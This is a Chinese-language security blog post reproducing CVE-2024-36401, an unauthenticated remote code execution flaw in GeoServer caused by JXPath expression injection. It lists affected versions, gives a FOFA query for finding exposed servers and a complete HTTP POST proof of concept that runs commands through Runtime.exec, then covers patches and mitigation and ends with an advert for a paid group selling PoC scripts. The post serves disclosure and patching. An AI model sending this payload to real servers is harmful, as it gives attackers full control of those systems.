「漏洞复现」Geoserver JXPath表达式注入致远程代码执行漏洞(CVE-2024-36401)
「漏洞复现」Geoserver JXPath表达式注入致远程代码执行漏洞(CVE-2024-36401)
冷漠安全 冷漠安全 2024-07-04 18:35
0x01 免责声明
免责声明
请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。工具来自网络,安全性自测,如有侵权请联系删除。本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!!!
0x02
产品介绍
GeoServer是一个开源服务器,用于共享、处理和编辑地理空间数据。它支持多种地图和数据标准,使用户能够通过网络访问和操作地理信息系统(GIS)数据。
0x03
漏洞威胁
2024年7月,互联网上披露Geoserver表达式注入致远程代码执行漏洞(CVE-2024-36401),攻击者无需认证即可利用该漏洞获取服务器权限,建议受影响的客户尽快修复漏洞。
漏洞成因
该系统不安全地将属性名称解析为 XPath 表达式。GeoServer 调用的 GeoTools 库 API 以不安全的方式将要素类型的属性名称传递给 commons-jxpath 库。该库在解析 XPath 表达式时,可以执行任意代码。这种 XPath 评估本应仅供复杂要素类型(例如应用程序架构数据存储)使用,但由于错误,该机制也被应用于简单要素类型。这使得所有 GeoServer 实例都可能受到该漏洞的影响。
漏洞影响
此漏洞可能导致远程代码执行 (RCE)。未经身份验证的用户可以通过向默认的 GeoServer 安装发送特制的输入,利用多个 OGC 请求参数,如 WFS GetFeature、WFS GetPropertyValue、WMS GetMap、WMS GetFeatureInfo、WMS GetLegendGraphic 和 WPS Execute 请求,从而执行任意代码。这种远程代码执行将导致系统被完全控制,严重威胁系统安全,可能造成数据泄露、勒索或更广泛的网络攻击。
影响范围
2.25.0 <= GeoServer < 2.25.2
2.24.0 <= GeoServer < 2.24.4
GeoServer < 2.23.6
0x04
漏洞环境
FOFA:
app="GeoServer"
0x05
漏洞复现
PoC
POST /geoserver/wfs HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
Content-Type: application/xml
Connection: close
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='topp:states'/>
<wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'执行的命令')</wfs:valueReference>
</wfs:GetPropertyValue>
0x06
批量脚本验证
Nuclei验证脚本已发布
知识星球:冷漠安全
0x07
修复建议
升级修复方案
官方已发布先前版本的补丁可供下载(https://geoserver.org/),包括已修复的 gt-app-schema、gt-complex 和 gt-xsd-core jar 文件。补丁可从以下 GeoServer 版本的发布页面下载:2.25.1、2.24.3、2.24.2、2.23.2、2.21.5、2.20.7、2.20.4、2.19.2、2.18.0。下载后使用补丁文件替换原文件即可。
临时缓解方案
通过删除 GeoServer 中的 gt-complex-x.y.jar 文件(其中 x.y 是 GeoTools 版本,例如运行 GeoServer 2.25.1 时为 gt-complex-31.1.jar),可以临时缓解此漏洞。这将从 GeoServer 中移除漏洞代码,但可能会导致某些 GeoServer 功能失效或 GeoServer 部署失败,尤其是当 gt-complex 模块被正在使用的扩展所需要时。
0x08
加入我们
漏洞详情及批量检测POC工具请前往知识星球获取
知识星球:冷漠安全交个朋友,限时优惠券:加入立减25星球福利:每天更新最新漏洞POC、资料文献、内部工具等
「星球介绍」:
本星球不割韭菜,不发烂大街东西。欢迎进来白嫖,不满意三天退款。
本星球坚持每天分享一些攻防知识,包括攻防技术、网络安全漏洞预警脚本、网络安全渗透测试工具、解决方案、安全运营、安全体系、安全培训和安全标准等文库。
本星主已加入几十余个付费星球,定期汇聚高质量资料及工具进行星球分享。
「星球服务」:
加入星球,你会获得:
♦ 批量验证漏洞POC脚本
♦ 0day、1day分享
♦ 汇集其它付费星球资源分享
♦ 大量的红蓝对抗实战资源
♦ 优秀的内部红蓝工具及插件
♦ 综合类别优秀Wiki文库及漏洞库
♦ 提问及技术交流